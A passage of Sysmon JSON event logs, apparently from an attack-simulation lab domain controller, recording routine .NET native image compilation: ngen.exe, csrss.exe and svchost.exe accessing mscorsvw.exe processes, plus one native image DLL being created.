ll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:00.261\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4301-5F2D-0000-0010B8270F00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:00.261","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4301-5F2D-0000-0010B8270F00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:00.261\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4301-5F2D-0000-0010B8270F00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:00.261","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4301-5F2D-0000-0010B8270F00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:00.291\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4330-5F2D-0000-00105B851000}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:00.291","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4330-5F2D-0000-00105B851000}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:01.010\r\nProcessGuid: {90617006-4330-5F2D-0000-00105B851000}\r\nProcessId: 2284\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\8ec-0\\UIAutomationClientsideProviders.dll\r\nCreationUtcTime: 2020-08-07 12:04:01.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:01.010","ProcessGuid":"{90617006-4330-5F2D-0000-00105B851000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\8ec-0\\UIAutomationClientsideProviders.dll","CreationUtcTime":"2020-08-07 12:04:01.010","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-001085891000}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-001085891000}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-001085891000}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-001085891000}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-001085891000}\r\nTargetProcessId: 4808\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-001085891000}","TargetProcessId":"4808","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.151\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010E98C1000}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.151","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010E98C1000}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.151\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010E98C1000}\r\nTargetProcessId: 812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.151","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010E98C1000}","TargetProcessId":"812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 